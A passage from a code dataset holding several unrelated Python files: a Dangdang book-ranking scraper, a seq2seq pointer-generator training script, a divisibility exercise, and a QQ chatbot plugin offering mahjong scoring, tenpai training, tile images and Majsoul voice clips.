encoding=\"GB2312\")\n isSuc = False\n try:\n htmldesc = HTMLSelector(JsonAction(descres).toObj()[\"data\"][\"html\"], encoding=\"GB2312\")\n isSuc = True\n except:\n pass\n nameHTML = html.get(\"#product_info .name_info h1\")\n name = nameHTML[\"title\"] # 书名\n # () () () () [] 【】 【] [】 split \" \" > 20 //\n name = re.sub(r'((.)*)(.)*', '', name)\n name = re.sub(r'\\((.)*)(.)*', '', name)\n name = re.sub(r'((.)*\\)(.)*', '', name)\n name = re.sub(r'\\((.)*\\)(.)*', '', name)\n name = re.sub(r'\\[(.)*\\](.)*', '', name)\n name = re.sub(r'【(.)*\\](.)*', '', name)\n name = re.sub(r'【(.)*】(.)*', '', name)\n name = re.sub(r'\\[(.)*】(.)*', '', name)\n if len(name) > 30:\n name = name.split(\"\\t\")[0]\n if len(name) > 30:\n name = name.split(\" \")[0]\n if len(name) > 30:\n return None\n result[\"name\"] = name\n categoryHTML = html.getAll(\"#detail-category-path .lie a\")\n if len(categoryHTML) > 0:\n category = categoryHTML[-1].text # 分类\n result[\"category\"] = category\n priceHTML = html.get(\"#dd-price\")\n price = float(priceHTML.text.replace(\"\\n\", \"\").replace(\"\\r\", \"\").replace(\" \", \"\").replace(\"$\", \"\").replace(\"¥\", \"\")) # 价格\n result[\"price\"] = price\n authorsHTML = html.getAll(\"a[dd_name='作者']\")\n authors = [] # 作者\n for item in authorsHTML:\n authors.append(item.text.replace(\"\\n\", \"\").replace(\"\\r\", \"\").replace(\" \", \"\"))\n result[\"authors\"] = authors\n if isSuc:\n authorDescHTML = htmldesc.get(\"#authorIntroduction .descrip\")\n if authorDescHTML:\n authorDesc = authorDescHTML.text.replace(\"\\n\", \"\").replace(\"\\r\", \"\").replace(\" \", \"\") # 作者简介\n result[\"author_desc\"] = authorDesc\n pressHTML = html.get(\"a[dd_name='出版社']\")\n press = pressHTML.text.replace(\"\\n\", \"\").replace(\"\\r\", \"\").replace(\" \", \"\") # 出版社\n result[\"press\"] = press\n pressDatetimeHTML = html.getAll(\".messbox_info span.t1\")\n if len(pressDatetimeHTML) > 2:\n pressDate = pressDatetimeHTML[2].text.replace(\"\\n\", \"\").replace(\"\\r\", \"\").replace(\" \", \"\").replace(\"出版时间\", \"\").replace(\":\", \"\") # 出版日期\n result[\"press_datetime\"] = pressDate\n levelHTML = html.get(\"#messbox_info_comm_num .star\")\n level = float(levelHTML[\"style\"].replace(\"\\n\", \"\").replace(\"\\r\", \"\").replace(\" \", \"\").replace(\"width\", \"\").replace(\":\", \"\").replace(\"%\", \"\")) # 星级\n result[\"level\"] = level\n popularityHTML = html.get(\"#collect_left\")\n collect = popularityHTML.text.replace(\"\\n\", \"\").replace(\"\\r\", \"\").replace(\" \", \"\")\n popularity = collect.replace(\"(\", \"\").replace(\")\", \"\").replace(\"人气\", \"\").replace(\"收藏商品\", \"\")\n if popularity != \"\":\n popularity = int(popularity) # 人气\n result[\"popularity\"] = popularity\n # commentsHTML = html.getAll(\"#comment_list\")\n # print(commentsHTML)\n commentCountHTML = html.get(\"#comm_num_down\")\n commentCount = int(commentCountHTML.text.replace(\"\\n\", \"\").replace(\"\\r\", \"\").replace(\" \", \"\")) # 评论数\n result[\"comment_count\"] = commentCount\n if isSuc:\n descHTML = htmldesc.get(\"#content .descrip\")\n if descHTML:\n result[\"desc\"] = descHTML.text.replace(\"\\n\", \"\").replace(\"\\r\", \"\").replace(\" \", \"\") # 简介\n # 分词获取标签\n result[\"tags\"] = splitWord(result[\"desc\"])\n except:\n succ = False\n if succ:\n return result\n except:\n pass\n return None\n\ndef booklist(): # 爬虫排行榜\n results = []\n for i in range(1, 26):\n sleep(20)\n url = \"http://bang.dangdang.com/books/fivestars/01.00.00.00.00.00-recent30-0-0-1-{0}\".format(i)\n method = \"GET\"\n req = Request(url, method, encoding=\"GB2312\")\n res = req.start() # 开启请求\n print(i)\n if res:\n html = HTMLSelector(res, encoding=\"GB2312\")\n items = html.findAll(\".bang_list.clearfix.bang_list_mode > li\")\n for item in items:\n nameHTML = item.get(\".name a\")\n href = nameHTML[\"href\"]\n title = nameHTML[\"title\"]\n results.append({\n \"title\": title,\n \"href\": href\n })\n FileAction(\"./list.json\").write(JsonAction(results).toStr())\n\ndef bookinfo5(id, rst):\n count = 0\n while count < 5:\n result = bookinfo(id, rst)\n if result:\n return result\n else:\n count += 1\n return None\n\n# booklist()\n\n\n\ndb = Database()\n# bookinsertinfo = getSheetInsert(\"book\")\n# books = JsonAction(FileAction(\"./list.json\").read()).toObj()\n# i = 0\n# for book in books:\n# sleep(20)\n# i += 1\n# print(i)\n# result = bookinfo(book[\"href\"], bookinsertinfo)\n# if result:\n# if result[\"category\"] and result[\"category\"] != \"\":\n# db.insertCate(result[\"category\"])\n# if result[\"press\"] and result[\"press\"] != \"\":\n# db.insertPress(result[\"press\"])\n# db.insertBook(result)\n\ndb.mydb[\"vasofbd_books\"].delete_many({\n \"name\": \"\"\n})\n","repo_name":"liujingshi/visual-analysis-system-of-book-data","sub_path":"server/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":7859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26557478918","text":"from language import *\n\nfrom model_tr import *\n\nimport random\n\nimport numpy as np\n\ninput_lang, output_lang, pairs = prepareData('eng', 'fra', True)\n\ndef splitsent(sentence, sentence2):\n for word in sentence.split():\n if word == 'i' and 'je ' in sentence2:\n yield 'je'\n else:\n yield word\n\ndef indexesFromSentence(lang, sentence, lang2, sentence2):\n sourceset = {}\n id2source = {}\n pg_mat = np.ones((len(sentence.split()) + 1, len(sentence.split()) + 1)) * 1e-10\n for i, word in enumerate(sentence.split()):\n if word not in sourceset:\n sourceset[word] = lang2.n_words + len(sourceset)\n id2source[sourceset[word]] = word\n pg_mat[sourceset[word]-lang2.n_words][i] = 1\n indexes = [lang.word2index[word] for word in sentence.split()]\n indexes2 = [sourceset[word] if word in sourceset else lang2.word2index[word] for word in list(splitsent(sentence2, sentence))]\n\n indexes.append(EOS_token)\n indexes2.append(EOS_token)\n return indexes, indexes2, pg_mat, id2source\n\ndef tensorFromIndexes(indexes):\n return torch.tensor(indexes, dtype=torch.long, device=device).view(-1, 1)\n\ndef train(input_tensor, target_tensor, pg_mat, encoder, decoder, encoder_optimizer, decoder_optimizer, criterion):\n teacher_forcing_ratio = 0.5\n\n encoder_hidden = encoder.initHidden()\n\n encoder_optimizer.zero_grad()\n decoder_optimizer.zero_grad()\n\n input_length = input_tensor.size(0)\n target_length = target_tensor.size(0)\n\n loss = 0\n\n encoder_outputs = torch.zeros(input_length, encoder.hidden_size, device=device)\n\n for ei in range(input_length):\n encoder_output, encoder_hidden = encoder(\n input_tensor[ei], encoder_hidden)\n encoder_outputs[ei] = encoder_output[0, 0]\n\n print (encoder_outputs)\n\n\n encoder_hidden = encoder.initHidden()\n encoder_output, encoder_hidden = encoder(\n input_tensor, encoder_hidden)\n\n encoder_outputs = encoder_output.view(input_length, -1)\n\n print (encoder_outputs)\n exit()\n\n decoder_input = torch.tensor([[SOS_token]], device=device)\n\n decoder_hidden = encoder_hidden\n\n use_teacher_forcing = True if random.random() < teacher_forcing_ratio else False\n\n if use_teacher_forcing:\n # Teacher forcing: Feed the target as the next input\n for di in range(target_length):\n decoder_output, decoder_hidden, decoder_attention = decoder(\n decoder_input, decoder_hidden, encoder_outputs, pg_mat)\n print (decoder_output)\n loss += criterion(decoder_output, target_tensor[di])\n decoder_input = target_tensor[di] # Teacher forcing\n\n else:\n # Without teacher forcing: use its own predictions as the next input\n for di in range(target_length):\n decoder_output, decoder_hidden, decoder_attention = decoder(\n decoder_input, decoder_hidden, encoder_outputs, pg_mat)\n print (decoder_output)\n topv, topi = decoder_output.topk(1)\n decoder_input = topi.squeeze().detach() # detach from history as input\n loss += criterion(decoder_output, target_tensor[di])\n if decoder_input.item() == EOS_token:\n break\n\n loss.backward()\n\n encoder_optimizer.step()\n decoder_optimizer.step()\n\n return loss.item() / target_length\n\ndef evaluate(encoder, decoder, sentence, pg_mat, id2source, max_length=MAX_LENGTH):\n with torch.no_grad():\n input_tensor = tensorFromIndexes(sentence)\n input_length = input_tensor.size()[0]\n encoder_hidden = encoder.initHidden()\n\n encoder_output, encoder_hidden = encoder(\n input_tensor, encoder_hidden)\n\n encoder_outputs = encoder_output.view(input_length, -1)\n\n decoder_input = torch.tensor([[SOS_token]], device=device) # SOS\n\n decoder_hidden = encoder_hidden\n\n decoded_words = []\n for di in range(max_length):\n decoder_output, decoder_hidden, decoder_attention = decoder(\n decoder_input, decoder_hidden, encoder_outputs, pg_mat)\n topv, topi = decoder_output.data.topk(1)\n if topi.item() == EOS_token:\n decoded_words.append('')\n break\n else:\n if topi.item() in output_lang.index2word:\n decoded_words.append(output_lang.index2word[topi.item()])\n elif topi.item() in id2source:\n decoded_words.append(id2source[topi.item()])\n else:\n decoded_words.append('UNK')\n\n decoder_input = topi.squeeze().detach()\n\n return decoded_words\n\ndef evaluateRandomly(encoder, decoder, n=1):\n for i in range(n):\n pair = random.choice(pairs)\n if 'i ' in pair[1] and 'je ' in pair[0]:\n pair[1].replace('i ', 'je ')\n print('>', pair[0])\n print('=', pair[1])\n sentence, target, pg_mat, id2source = indexesFromSentence(input_lang, pair[0], output_lang, pair[1])\n output_words = evaluate(encoder, decoder, sentence, torch.tensor(pg_mat, dtype=torch.float, device=device), id2source)\n output_sentence = ' '.join(output_words)\n print('<', output_sentence)\n print('')\n\nimport time\nimport math\n\n\ndef asMinutes(s):\n m = math.floor(s / 60)\n s -= m * 60\n return '%dm %ds' % (m, s)\n\n\ndef timeSince(since, percent):\n now = time.time()\n s = now - since\n es = s / (percent)\n rs = es - s\n return '%s (- %s)' % (asMinutes(s), asMinutes(rs))\n\nif __name__ == '__main__':\n\n trainning_set = list()\n for pair in pairs:\n source, target, pg_mat, id2source = indexesFromSentence(input_lang, pair[0], output_lang, pair[1])\n source_tensor = tensorFromIndexes(source)\n target_tensor = tensorFromIndexes(target)\n trainning_set.append((source_tensor, target_tensor, torch.tensor(pg_mat, dtype=torch.float, device=device)))\n\n learning_rate = 0.001\n hidden_size = 256\n\n encoder = EncoderRNN(input_lang.n_words, hidden_size).to(device)\n decoder = AttnDecoderRNN(hidden_size, output_lang.n_words, dropout_p=0.1).to(device)\n\n encoder_optimizer = optim.SGD(encoder.parameters(), lr=learning_rate)\n decoder_optimizer = optim.SGD(decoder.parameters(), lr=learning_rate)\n criterion = nn.NLLLoss()\n for _ in range(20):\n random.shuffle(trainning_set)\n\n print_loss_total = 0\n\n start = time.time()\n for i, data in enumerate(trainning_set):\n loss = train(data[0], data[1], data[2], encoder,\n decoder, encoder_optimizer, decoder_optimizer, criterion)\n\n print_loss_total += loss\n\n if (i+1) % 5000 == 0:\n print_loss_avg = print_loss_total / 5000\n print_loss_total = 0\n print('%s (%d %d%%) %.4f' % (timeSince(start, (i+1) / len(trainning_set)),\n (i+1), (i+1) / len(trainning_set) * 100, print_loss_avg))\n print_loss_avg = print_loss_total / 853\n print_loss_total = 0\n print('%s (%d %d%%) %.4f' % (timeSince(start, (i+1) / len(trainning_set)),\n (i+1), (i+1) / len(trainning_set) * 100, print_loss_avg))\n\n evaluateRandomly(encoder, decoder)","repo_name":"ZhengTang1120/pointer_generator_edin","sub_path":"train_s2s.py","file_name":"train_s2s.py","file_ext":"py","file_size_in_byte":7293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20652011449","text":"''' Write a program which contains one function that accept one number from user and returns true if number\r\nis divisible by 5 otherwise return false. '''\r\n\r\ndef Fun():\r\n Num=int(input())\r\n if Num % 5 == 0:\r\n return True\r\n else:\r\n return False\r\n\r\nret=Fun()\r\nprint(ret)","repo_name":"Pratiksha87/Python-Program","sub_path":"No_Divisible.py","file_name":"No_Divisible.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25653493655","text":"import contextlib\nimport sys\nimport re\nimport os\nimport math\nimport random\nimport functools\nimport asyncio\nimport requests\nimport wand.image, wand.color\nfrom io import StringIO\nfrom string import Formatter\nfrom nonebot import on_command, CommandSession, permission\nimport chiharu.plugins.config as config\nfrom chiharu.plugins.birth import myFormatter\nimport chiharu.plugins.maj as maj, chiharu.plugins.math as cmath\n\n@on_command(('misc', 'asc', 'check'), only_to_me=False)\n@config.ErrorHandle\nasync def AscCheck(session: CommandSession):\n strin = session.current_arg_text.strip()\n strout = ' '.join(map(str, map(ord, strin)))\n await session.send('对应数字是:\\n' + strout, auto_escape=True)\n\n@on_command(('misc', 'asc', 'trans'), only_to_me=False)\n@config.ErrorHandle\nasync def AscTrans(session: CommandSession):\n strin = session.current_arg_text.split(' ')\n strout = ''.join(map(chr, map(int, strin)))\n await session.send('对应字符是:\\n' + strout, auto_escape=True)\n\n@contextlib.contextmanager\ndef stdoutIO(stdout=None):\n old = sys.stdout\n if stdout is None:\n stdout = StringIO()\n sys.stdout = stdout\n yield stdout\n sys.stdout = old\n\n@on_command(('python', 'exec'), only_to_me=False, permission=permission.SUPERUSER)\n@config.ErrorHandle\nasync def PythonExec(session: CommandSession):\n with stdoutIO() as s:\n exec(session.current_arg_text, {}, {})\n await session.send(s.getvalue()[:-1], auto_escape=True)\n\n@on_command(('misc', 'maj', 'ten'), only_to_me=False)\n@config.ErrorHandle\nasync def Maj(session: CommandSession):\n pu = session.get('pu')\n han = session.get('han')\n qin = session.get('qin')\n zi = session.get('zi')\n if not qin and not zi:\n qin = True\n zi = True\n def ceil(x, base = 100):\n return base * math.ceil(x / base)\n if pu % 10 != 0 and pu != 25:\n pu = ceil(pu, 10)\n if han <= 5:\n ten_base = pu * 2 ** (han + 2)\n ten_qin = ceil(6 * ten_base)\n ten_zi = ceil(4 * ten_base)\n if ten_qin >= 12000:\n str_qin = '満贯,12000点,4000ALL'\n else:\n str_qin = '%i点,%iALL' % (ten_qin, ceil(ten_qin / 3))\n if ten_zi >= 8000:\n str_zi = '満贯,8000点,2000,4000'\n else:\n str_zi = '%i点,%i,%i' % (ten_zi, ceil(ten_base), ceil(2 * ten_base))\n else:\n if han >= 13:\n i = 3\n else:\n i = {6: 0, 7: 0, 8: 1, 9: 1, 10: 1, 11: 2, 12: 2}[han]\n str_i = ['跳満', '倍満', '三倍満', '役満'][i]\n int_i = [3000, 4000, 6000, 8000][i]\n str_qin = '%s,%i点,%iALL' % (str_i, int_i * 6, int_i * 2)\n str_zi = '%s,%i点,%i,%i' % (str_i, int_i * 4, int_i, int_i * 2)\n if qin and zi:\n await session.send('親家:%s\\n子家:%s' % (str_qin, str_zi))\n elif qin:\n await session.send(str_qin)\n elif zi:\n await session.send(str_zi)\n\n@Maj.args_parser\nasync def _(session: CommandSession):\n pu = re.search('(\\\\d+)符', session.current_arg_text)\n han = re.search('(\\\\d+)番', session.current_arg_text)\n qin = re.search('亲家|親家', session.current_arg_text)\n zi = re.search('子家', session.current_arg_text)\n if pu is None or han is None:\n pass\n session.args['pu'] = int(pu.group(1))\n session.args['han'] = int(han.group(1))\n session.args['qin'] = qin is not None\n session.args['zi'] = zi is not None\n\ndaan = {}\n\n@on_command(('misc', 'maj', 'train'), only_to_me=False)\n@config.ErrorHandle\nasync def maj_train(session: CommandSession):\n global daan\n text = session.current_arg_text\n p = False\n try:\n group_id = session.ctx['group_id']\n except:\n group_id = session.ctx['user_id']\n if text.startswith('p'):\n text = text[1:]\n p = True\n if text == '0':\n str_title = '清一色听牌训练(排序,无暗杠,无鸣牌,不含七对)\\n'\n _continue = True\n while _continue:\n stack = []\n for i in range(4):\n if random.random() < 0.3:\n a = random.randint(1, 9)\n stack.append(a)\n stack.append(a)\n stack.append(a)\n else:\n a = random.randint(1, 7)\n stack.append(a)\n stack.append(a + 1)\n stack.append(a + 2)\n a = random.randint(1, 9)\n stack.append(a)\n stack.append(a)\n stack.sort()\n stack.pop(random.randint(0, len(stack) - 1))\n test = [0, 0, 0, 0, 0, 0, 0, 0, 0]\n for i in stack:\n test[i - 1] += 1\n _continue = False\n for i in test:\n if i > 4:\n _continue = True\n if p:\n tehai = ''.join(map(str, stack)) + random.choice(['m', 's', 'p']) + '5z'\n d = Maj.search_for('')\n s = Maj.compile(tehai, **d)\n loop = asyncio.get_event_loop()\n u = 'http://mjv.jp/2/img/n%s.png' % s\n url2 = await loop.run_in_executor(None, functools.partial(requests.get, u,\n headers={'Referer': 'http://tenhou.net/2/img/'}))\n name = str(hash((s, group_id, session.ctx['user_id'])))\n with open(config.img(name + '.png'), 'wb') as f:\n f.write(url2.content)\n await session.send([config.cq.text(str_title), config.cq.img(name + '.png')], auto_escape=True)\n else:\n strout = str_title + ''.join(map(str, stack))\n await session.send(strout, auto_escape=True)\n result = maj.MajHai._ting(map(lambda x: x - 1, stack))\n daan[group_id] = \\\n ''.join(map(lambda x: str(x[0] + 1), filter(lambda x: x[1] > 0, enumerate(map(len, result)))))\n elif text == '2':\n str_title = '清一色加强型听牌训练(排序,无暗杠,无鸣牌,不含七对)\\n'\n stack = []\n for i in range(random.randint(5, 8)):\n if random.random() < 0.3:\n a = random.randint(1, 9)\n stack.append(a)\n stack.append(a)\n stack.append(a)\n else:\n a = random.randint(1, 7)\n stack.append(a)\n stack.append(a + 1)\n stack.append(a + 2)\n a = random.randint(1, 9)\n stack.append(a)\n stack.append(a)\n stack.sort()\n stack.pop(random.randint(0, len(stack) - 1))\n strout = str_title + ''.join(map(str, stack))\n await session.send(strout, auto_escape=True)\n result = maj.MajHai._ting(map(lambda x: x - 1, stack))\n daan[group_id] = \\\n ''.join(map(lambda x: str(x[0] + 1), filter(lambda x: x[1] > 0, enumerate(map(len, result)))))\n elif text == '-1':\n if group_id not in daan:\n await session.send('没有题目')\n else:\n await session.send(daan.pop(group_id))\n else:\n await session.send('支持参数:\\n0或p0:清一色听牌训练(排序,无暗杠,无鸣牌,不含七对)\\n2:清一色加强型听牌训练(排序,无暗杠,无鸣牌,不含七对)\\n-1:返回上次的答案')\n\nclass MajException(Exception):\n def __init__(self, arg):\n self.args = arg\n\nclass Maj:\n @staticmethod\n def expand(s: str):\n l = []\n for char in s:\n if char in '0123456789':\n l.append(char)\n elif char in 'mpsz':\n for i in l:\n yield i + char\n l = []\n else:\n raise MajException('unknown char ' + char)\n if len(l) != 0:\n for i in l:\n yield i\n @staticmethod\n def extract34(s: str):\n return re.sub('(\\d)z', '4\\\\1',\n re.sub('(\\d)s', '3\\\\1',\n re.sub('(\\d)p', '2\\\\1',\n re.sub('(\\d)m', '1\\\\1',\n re.sub('0s', '53',\n re.sub('0p', '52',\n re.sub('0m', '51', s)))))))\n @staticmethod\n def compile(tehai: str, tehaionly: bool, dora: str, kyoku: int, step: int, rot: int):\n q = Maj.extract34(''.join(Maj.expand(tehai)))\n if len(q) != 14 * 2:\n raise MajException('INVALID TEHAI LENGTH')\n if not tehaionly:\n dora = Maj.extract34(''.join(Maj.expand(dora)))\n tail = '%02d%02d%1d' % (kyoku, step, rot)\n q += dora + tail\n return q\n @staticmethod\n def search_for(k: str):\n if k == '':\n return {'tehaionly': True, 'dora': None, 'kyoku': None, 'step': None, 'rot': None}\n kyoku = re.search('(?:([东東])|(南))(\\d)局', k)\n step = re.search('(\\d+)巡目', k)\n rot = re.search('(?:([东東])|(南)|(西)|(北))家', k)\n dora = re.search('dora(?:\\s*):(?:\\s*)(.*)$', k)\n if not kyoku and not step and not rot and not dora:\n return {'tehaionly': True, 'dora': None, 'kyoku': None, 'step': None, 'rot': None}\n if not dora:\n raise MajException('没有宝牌')\n if not kyoku:\n raise MajException('没有局数')\n if not step:\n raise MajException('没有巡目')\n if not rot:\n raise MajException('没有自家')\n kyoku = (0 if kyoku.group(1) is not None else 4) + int(kyoku.group(3)) - 1\n rot = (0 if rot.group(1) is not None else (1 if rot.group(2) is not None else\n (2 if rot.group(3) is not None else 3)))\n return {'tehaionly': False, 'dora': dora.group(1), 'kyoku': kyoku,\n 'step': int(step.group(1)), 'rot': rot}\n\n@on_command(('misc', 'maj', 'img'), only_to_me=False)\n@config.ErrorHandle\nasync def maj_img(session: CommandSession):\n test = session.get('arg')\n if test == False:\n await session.send(''.join(session.get('except').args), auto_escape=True)\n return\n loop = asyncio.get_event_loop()\n u = 'http://mjv.jp/2/img/n%s.png' % test\n url2 = await loop.run_in_executor(None, functools.partial(requests.get, u,\n headers={'Referer': 'http://tenhou.net/2/img/'}))\n name = str(hash((test, session.ctx['group_id'], session.ctx['user_id'])))\n with open(config.img(name + '.png'), 'wb') as f:\n f.write(url2.content)\n await session.send(config.cq.img(name + '.png'), auto_escape=True)\n\n@maj_img.args_parser\n@config.ErrorHandle\nasync def _(session: CommandSession):\n try:\n l = session.current_arg_text.split(' ')\n tehai = l[0]\n d = Maj.search_for(' '.join(l[1:]))\n session.args['arg'] = Maj.compile(tehai, **d)\n except MajException as e:\n session.args['arg'] = False\n session.args['except'] = e\n\n@on_command(('misc', 'maj', 'ting'), only_to_me=False)\n@config.ErrorHandle\nasync def maj_ting(session: CommandSession):\n def expand(s):\n l = []\n for char in s:\n if char in '123456789':\n l.append(char)\n elif char in 'mpsz':\n for i in l:\n yield i + char\n l = []\n else:\n raise MajException('unknown char ' + char)\n if len(l) != 0:\n raise MajException('unknown end')\n try:\n tehai = list(map(maj.MajHai, expand(session.current_arg_text)))\n if len(tehai) % 3 != 1:\n await session.send('INVALID TEHAI LENGTH')\n return\n result = maj.MajHai.ten(tehai)\n if len(tehai) == 13:\n result.update(maj.MajHai.qitui(tehai))\n result.update(maj.MajHai.kokushimusou(tehai))\n if result == {}:\n await session.send('没听')\n else:\n def _():\n keys = list(result.keys())\n keys.sort()\n for hai in keys:\n num = hai % 9\n color = hai // 9\n color_c = {0: 'm', 1: 'p', 2: 's', 3: 'z'}[color]\n yield str(num + 1) + color_c\n await session.send(' '.join(_()))\n except MajException as e:\n await session.send(''.join(e.args))\n except maj.MajErr as e:\n await session.send(str(e))\n\n@on_command(('misc', 'maj', 'ting_ex'), only_to_me=False)\n@config.ErrorHandle\nasync def maj_ting_ex(session: CommandSession):\n def expand(s):\n l = []\n for char in s:\n if char in '123456789':\n l.append(char)\n elif char in 'mpsz':\n for i in l:\n yield i + char\n l = []\n else:\n raise MajException('unknown char ' + char)\n if len(l) != 0:\n raise MajException('unknown end')\n try:\n tehai = list(map(maj.MajHai, expand(session.current_arg_text)))\n if len(tehai) % 3 != 1:\n await session.send('INVALID TEHAI LENGTH')\n return\n result = maj.MajHai.ten(tehai)\n if len(tehai) == 13:\n result.update(maj.MajHai.qitui(tehai))\n result.update(maj.MajHai.kokushimusou(tehai))\n if result == {}:\n await session.send('没听')\n else:\n def _():\n keys = list(result.keys())\n keys.sort()\n for hai in keys:\n num = hai % 9\n color = hai // 9\n color_c = {0: 'm', 1: 'p', 2: 's', 3: 'z'}[color]\n s = str(num + 1) + color_c + \": \"\n for barrel, v in result[hai][0].items():\n if barrel <= 2:\n for t in v:\n s += ''.join(map(lambda x: str(x + 1), t))\n s += {0: 'm', 1: 'p', 2: 's'}[barrel]\n else:\n s += ''.join(map(lambda x: str(barrel - 2), t))\n s += 'z'\n yield s\n await session.send('\\n'.join(_()))\n except MajException as e:\n await session.send(''.join(e.args))\n except maj.MajErr as e:\n await session.send(str(e))\n\n@on_command(('misc', 'maj', 'zj'), only_to_me=False)\n@config.ErrorHandle\nasync def maj_zj_ten(session: CommandSession):\n try:\n tehai = []\n fuuros = []\n l = []\n fuuro_status = None\n for char in session.current_arg_text:\n if char in '123456789':\n l.append(char)\n elif char in 'mpsz':\n if fuuro_status is None:\n tehai.extend(map(lambda x: maj.MajZjHai(x + char), l))\n else:\n fuuros.append(maj.FuuRo(fuuro_status, tuple(map(lambda x: maj.MajZjHai(x + char), l))))\n l = []\n elif char == '暗':\n fuuro_status = maj.FuuRoStatus(0)\n elif char in '吃碰杠':\n if len(l) != 0:\n raise MajException('unknown end')\n if fuuro_status == 0 and char == '杠':\n pass\n else:\n fuuro_status = maj.FuuRoStatus({'吃': 4, '碰': 8, '杠': 16}[char])\n elif char != ' ':\n break\n status = maj.PlayerStatus(0)\n if \"岭上\" in session.current_arg_text:\n status |= maj.PlayerStatus.RINSHAN\n if \"河底\" in session.current_arg_text or \"海底\" in session.current_arg_text:\n status |= maj.PlayerStatus.HAIDI\n if \"抢杠\" in session.current_arg_text:\n status |= maj.PlayerStatus.QIANKAN\n if \"荣\" in session.current_arg_text:\n status |= maj.PlayerStatus.NAKU\n pos = maj.PlayerPos(0)\n if \"南家\" in session.current_arg_text:\n pos = maj.PlayerPos(1)\n elif \"西家\" in session.current_arg_text:\n pos = maj.PlayerPos(2)\n elif \"北家\" in session.current_arg_text:\n pos = maj.PlayerPos(3)\n if len(l) != 0:\n raise MajException('unknown end')\n if len(tehai) % 3 != 2:\n await session.send('INVALID TEHAI LENGTH')\n return\n for fuuro in fuuros:\n if not fuuro.isValid:\n await session.send(str(fuuro) + \"不合理\")\n return\n results = maj.MajZjHai.ten(tehai[:-1]) # type: Dict[int, List[Dict[int, Tuple[Tuple[int,...],...]]]]\n hai = tehai[-1].hai\n if hai not in results:\n await session.send(\"没和\")\n return\n result = results[hai]\n hezhong, hestatus, ten = maj.MajZjHai.tensu(hai, result, fuuros, (pos, status))\n await session.send('\\n'.join(map(lambda x: \"%s %i点\" % (str(x), x.int()), hezhong)) + \"\\n\" + ((str(hestatus) + \"\\n\") if str(hestatus) != \"\" else \"\") + (\"%i点\" % ten))\n except maj.Not14 as e:\n await session.send(str(e))\n except MajException as e:\n await session.send(''.join(e.args))\n except maj.MajErr as e:\n await session.send(str(e))\n\n@on_command(('misc', 'maj', 'voice'), only_to_me=False)\n@config.ErrorHandle\nasync def maj_voice(session: CommandSession):\n if '\\n' in session.current_arg_text:\n content, voicer_str = session.current_arg_text.split('\\n')\n content = content.strip()\n voicer_str = voicer_str.strip()\n else:\n voicer_str = '1'\n content = session.current_arg_text\n voicer_dict = {'一姬': 1, '1': 1, '二阶堂': 2, '二阶堂美树': 2, '2': 2, '千织': 3, '三上千织': 3, '3': 3, '四宫夏生': 4, '夏生': 4, '4': 4, '相原舞': 5, '抚子': 6, '佳奈': 7, '藤田佳奈': 7, '八木唯': 8, '八木': 8, '8': 8, '九条': 9, '九条璃雨': 9, '9': 9, '泽尼娅': 10, '卡维': 11, '汪次郎': 12, '汪': 12, '一之濑空': 13, '明智英树': 14}\n voicer_name = {1: 'yiji', 2: 'erjietang', 3: 'qianzhi', 4: 'sigongxiasheng', 5: 'xiangyuan', 6: 'fuzi', 7: 'jianai', 8: 'bamuwei', 9: 'jiutiao', 10: 'zeniya', 11: 'kawei', 12: 'wangcilang', 13: 'yizhilaikong', 14: 'mingzhiyingshu'}\n if voicer_str in voicer_dict:\n voicer = voicer_name[voicer_dict[voicer_str]]\n else:\n await session.send('未找到角色' + voicer_str, auto_escape=True)\n return\n try:\n l = list(maj_parse(content, voicer_dict[voicer_str]))\n except maj.MajErr as e:\n await session.send(e.args[0], auto_escape=True)\n return\n if not os.path.isdir(config.rel(f'Cache\\\\majsoul_voice\\\\{voicer}')):\n os.mkdir(config.rel(f'Cache\\\\majsoul_voice\\\\{voicer}'))\n loop = asyncio.get_event_loop()\n from pydub import AudioSegment\n try:\n for audio in l:\n if not os.path.isfile(config.rel(f'Cache\\\\majsoul_voice\\\\{voicer}\\\\{audio}.mp3')):\n url = await loop.run_in_executor(None, functools.partial(requests.get,\n f'https://majsoul.union-game.com/0/v0.5.1.w/audio/sound/{voicer}/{audio}.mp3'))\n if url.status_code != 200:\n raise maj.MajErr(f\"{voicer}/{audio}.mp3 can't download\")\n with open(config.rel(f'Cache\\\\majsoul_voice\\\\{voicer}\\\\{audio}.mp3'), 'wb') as f:\n f.write(url.content)\n except maj.MajErr as e:\n await session.send(e.args[0], auto_escape=True)\n return\n audio_fin = functools.reduce(lambda x, y: x + AudioSegment.silent(duration=200) + y,\n [AudioSegment.silent(duration=400) + AudioSegment.from_mp3(config.rel(f'Cache\\\\majsoul_voice\\\\{voicer}\\\\{audio}.mp3'))\n if audio.startswith('gameend') else\n AudioSegment.from_mp3(config.rel(f'Cache\\\\majsoul_voice\\\\{voicer}\\\\{audio}.mp3')) for audio in l])\n audio_fin.export(config.rec(str(hash(session.current_arg_text)) + '.mp3'), format='mp3')\n await session.send(config.cq.rec(str(hash(session.current_arg_text)) + '.mp3'))\n\ndef maj_parse(content: str, voicer_id: int):\n # args\n d = {\"立直\": (1, 1), \"立\": (1, 1), \"两立直\": (1, 2), \"一发\": (1, 3), \"自摸\": (1, 4), \"门前清自摸和\": (1, 4), \"门\": (1, 1),\n \"东\": (2, 1), \"南\": (2, 2), \"西\": (2, 3), \"北\": (2, 4), \"白\": (2, 5), \"发\": (2, 6), \"中\": (2, 7),\n \"枪杠\": (3, 1), \"抢杠\": (3, 1), \"岭上开花\": (3, 2), \"岭上\": (3, 2), \"海底摸月\": (3, 3), \"海底\": (3, 3), \"河底捞鱼\": (3, 4), \"河底\": (3, 4),\n \"断幺九\": (5, 1), \"断幺\": (5, 1), \"断\": (5, 1),\n \"平和\": (6, 1), \"平\": (6, 1),\n \"一杯口\": (7, 1), \"一杯\": (7, 1), \"一般高\": (7, 1), \"两杯口\": (7, 2), \"两杯\": (7, 2), \"二杯口\": (7, 2),\n \"三色同顺\": (8, 1), \"三色同刻\": (8, 2), \"三色\": (8, 1), \"一气通贯\": (8, 3), \"一气\": (8, 3), \"一通\": (8, 3),\n \"七对子\": (9, 1), \"七对\": (9, 1),\n \"对对和\": (10, 1), \"对对\": (10, 1), \"碰碰和\": (10, 1),\n 